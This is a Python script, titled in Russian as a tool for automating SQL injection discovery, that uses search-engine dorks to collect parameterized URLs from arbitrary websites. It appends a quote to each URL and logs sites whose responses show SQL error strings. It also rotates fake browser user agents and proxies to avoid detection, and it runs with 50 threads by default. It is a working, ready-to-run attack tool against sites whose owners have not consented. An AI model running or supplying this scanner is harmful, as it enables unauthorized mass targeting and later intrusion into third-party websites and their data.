Автоматизация поиска sql инъекций при помощи скрипта

import requests
import threading
import random
import os
import argparse
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
import urllib3
from termcolor import colored
from tqdm import tqdm
import time

# Nobody likes SSL warnings, so let's shut them up.
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- SETTINGS ---

# Search engines we'll be using. Google is set to find fresh stuff from the last year.
SEARCH_ENGINES = {
    'google': 'https://www.google.com/search?q={}&tbs=qdr:y',
    'bing': 'https://www.bing.com/search?q={}',
    'yahoo': 'https://search.yahoo.com/search?p={}',
    'duckduckgo': 'https://duckduckgo.com/html?q={}'
}

# Let's not scan the big guys, it's a waste of time.
BLOCKED_DOMAINS = {
    'google.com', 'facebook.com', 'microsoft.com', 'github.com',
    'amazon.com', 'stackoverflow.com', 'linkedin.com', 'twitter.com',
    'instagram.com', 'youtube.com', 'wikipedia.org'
}

# Some classic SQL error messages to look for.
SQL_ERRORS = [
    "you have an error in your sql syntax", "warning: mysql_fetch_array()",
    "unclosed quotation mark after the character string", "quoted string not properly terminated",
    "mysql_num_rows()", "mysql_fetch_assoc()", "mysql_free_result()",
    "query failed", "incorrect syntax near", "ora-00921: unexpected end of sql command",
    "ora-01756: quoted string not properly terminated", "pg_query()", "pg_fetch_array()"
]

# --- STUFF WE NEED EVERYWHERE ---
ua = UserAgent()
lock = threading.Lock()
# Sets are great for keeping track of what we've already seen.
scanned_urls = set()
vulnerable_sites = set()

# --- THE ACTUAL WORK GETS DONE HERE ---

def clear_screen():
    """Just a simple function to clear the screen."""
    os.system('cls' if os.name == 'nt' else 'clear')

def print_banner():
    """Prints that awesome banner when the script starts."""
    clear_screen()
    banner = '''
⠀⠀⠀⠀⠀⢸⣿⣷⣶⣤⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣤⣶⣾⣿⡇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀
⠀⠀⠠⣤⣀⡀⠹⣿⣿⣿⣿⠿⠿⣿⣿⣿⣿⠿⠿⣿⣿⣿⣿⠃⢀⣀⣤⠄⠀⠀
⢀⠤⢤⣤⣬⣙⠳⣿⣿⡿⠀⢀⠀⠈⣿⣿⠁⠀⡀⠈⣿⣿⣿⠞⣋⣥⣤⠤⠤⡀
⠀⢀⡤⠤⢤⣼⣿⣿⣿⣿⡀⠸⠀⣠⣿⣿⣄⠐⠇⢀⣿⣿⣿⣿⣧⡤⠤⢤⡀⠀
⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⠛⠛⠛⠛⠉⠉⠛⠛⠛⠛⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
⠀⠀⠀⠛⠿⢿⣿⠟⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⣿⡿⠻⠛⠀⠀⠀
'''
    terminal_width = os.get_terminal_size().columns
    # Helper to center the text
    def center_text(text):
        return text.center(terminal_width)

    print(colored(center_text(banner), 'red', attrs=['bold']))
    print(colored(center_text("CREATED by 0xl10nz"), 'yellow', attrs=['bold']))
    print(colored(center_text("contacts: tox: 1494B61A1B62E9AD21F86C3FB0380633F89197B4291924D01093EDACB4AF2C11A9E50A880F8D"), 'yellow', attrs=['bold']))
    print("-" * terminal_width)


def get_random_headers():
    """Pretends to be a random browser so we don't look like a bot."""
    return {
        'User-Agent': ua.random,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'DNT': '1',
        'Connection': 'keep-alive',
    }

def load_from_file(filepath):
    """Grabs our dorks or proxies from a text file."""
    if not os.path.exists(filepath):
        print(colored(f"[!] Oops, can't find this file: {filepath}", 'red'))
        return []
    with open(filepath, 'r', encoding='utf-8') as f:
        return [line.strip() for line in f if line.strip() and not line.startswith('#')]

def save_result(url, output_file):
    """Saves any juicy finds to our results file."""
    with lock:
        vulnerable_sites.add(url)
        with open(output_file, 'a', encoding='utf-8') as f:
            f.write(url + '\n')

def get_random_proxy(proxies):
    """Picks a random proxy from our list to stay sneaky."""
    if not proxies:
        return None
    proxy = random.choice(proxies)
    return {'http': f'http://{proxy}', 'https': f'https://{proxy}'}

def search_urls(dork, proxies, timeout):
    """Does the Google-Fu to find potential targets."""
    urls = set()
    for engine, url_template in SEARCH_ENGINES.items():
        try:
            proxy = get_random_proxy(proxies)
            response = requests.get(
                url_template.format(dork),
                headers=get_random_headers(),
                proxies=proxy,
                verify=False,
                timeout=timeout
            )
            # Bails if the page is broken or blocks us.
            response.raise_for_status()
            
            soup = BeautifulSoup(response.text, 'html.parser')
            for link in soup.find_all('a'):
                url = link.get('href')
                if url and '?' in url and '=' in url:
                    # Cleans up weird links from Google's cache.
                    if 'webcache.googleusercontent.com' in url:
                        url = url.split('&')[0].replace('/search?q=cache:', '')
                    
                    # Clean up the URL so we don't scan the same base site twice.
                    normalized_url = url.split('?')[0]
                    with lock:
                        if not any(blocked in url for blocked in BLOCKED_DOMAINS) and normalized_url not in scanned_urls:
                            urls.add(url)
                            scanned_urls.add(normalized_url)
        except requests.exceptions.RequestException:
            # Uncomment if you need to debug search issues.
            # print(colored(f"\n[!] Something went wrong with {engine}", 'yellow'))
            continue
    return urls

def check_sqli(url, proxies, timeout):
    """Tries the classic ' trick to see if the site freaks out with a SQL error."""
    try:
        test_url = url + "'"
        proxy = get_random_proxy(proxies)
        response = requests.get(test_url, headers=get_random_headers(), proxies=proxy, verify=False, timeout=timeout)
        content = response.text.lower()
        return any(error in content for error in SQL_ERRORS)
    except requests.exceptions.RequestException:
        return False

def worker(dork, proxies, output_file, timeout, pbar):
    """This is our worker bee. It takes a dork and does all the work."""
    try:
        found_urls = search_urls(dork, proxies, timeout)
        for url in found_urls:
            # Skip if we already found this one.
            if url in vulnerable_sites:
                continue
            
            if check_sqli(url, proxies, timeout):
                with lock:
                    # One last check to make sure we don't save the same URL twice.
                    if url not in vulnerable_sites:
                        print(colored(f"\n[+] BINGO! Found a vulnerable one: {url}", 'green', attrs=['bold']))
                        save_result(url, output_file)

    except Exception:
        # Uncomment to see what went wrong in a thread.
        # print(f"\nThread hit a snag.")
        pass
    finally:
        pbar.update(1)

def main():
    parser = argparse.ArgumentParser(description="Advanced SQLi Dork Scanner")
    parser.add_argument("-d", "--dorks", default="dorks.txt", help="Your dorks file (default: dorks.txt)")
    parser.add_argument("-p", "--proxies", default=None, help="Your proxies file, if you have one (optional)")
    parser.add_argument("-o", "--output", default="vulnerable.txt", help="Where to save the good stuff (default: vulnerable.txt)")
    parser.add_argument("-t", "--threads", type=int, default=50, help="How many threads to run (default: 50)")
    parser.add_argument("--timeout", type=int, default=10, help="How long to wait for a site to respond (default: 10)")

    args = parser.parse_args()
    
    print_banner()

    dorks = load_from_file(args.dorks)
    if not dorks:
        print(colored("[!] Your dorks file is empty or missing. Can't do much without it. Bye!", 'red'))
        return

    proxies = load_from_file(args.proxies) if args.proxies else []
    
    print(colored(f"[*] Loaded {len(dorks)} dorks. Let's go!", "cyan"))
    if proxies:
        print(colored(f"[*] Loaded {len(proxies)} proxies. Time to be sneaky.", "cyan"))
    else:
        print(colored("[!] No proxies loaded. Flying naked, your IP might get blocked!", "yellow"))
    print(colored(f"[*] Firing up {args.threads} threads.", "cyan"))
    print(colored(f"[*] Found sites will be saved in: {args.output}", "cyan"))
    print("-" * os.get_terminal_size().columns)
    
    random.shuffle(dorks)
    threads = []
    
    with tqdm(total=len(dorks), desc=colored("Hunting", 'magenta'), unit=" dork") as pbar:
        for dork in dorks:
            thread = threading.Thread(target=worker, args=(dork, proxies, args.output, args.timeout, pbar))
            threads.append(thread)
            thread.start()
            # Don't start all threads at once, manage them in batches.
            if len(threads) >= args.threads:
                for t in threads:
                    t.join()
                threads = []
        
        # Making sure all threads finish their job.
        for t in threads:
            t.join()

    print("\n" + "-" * os.get_terminal_size().columns)
    print(colored(f"[*] All done!", 'green', attrs=['bold']))
    print(colored(f"[*] Found {len(vulnerable_sites)} vulnerable sites.", 'green', attrs=['bold']))
    print(colored(f"[*] Check '{args.output}' for the results.", 'green', attrs=['bold']))


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(colored("\n[!] You hit Ctrl+C. Shutting down.", 'red'))
        exit(0)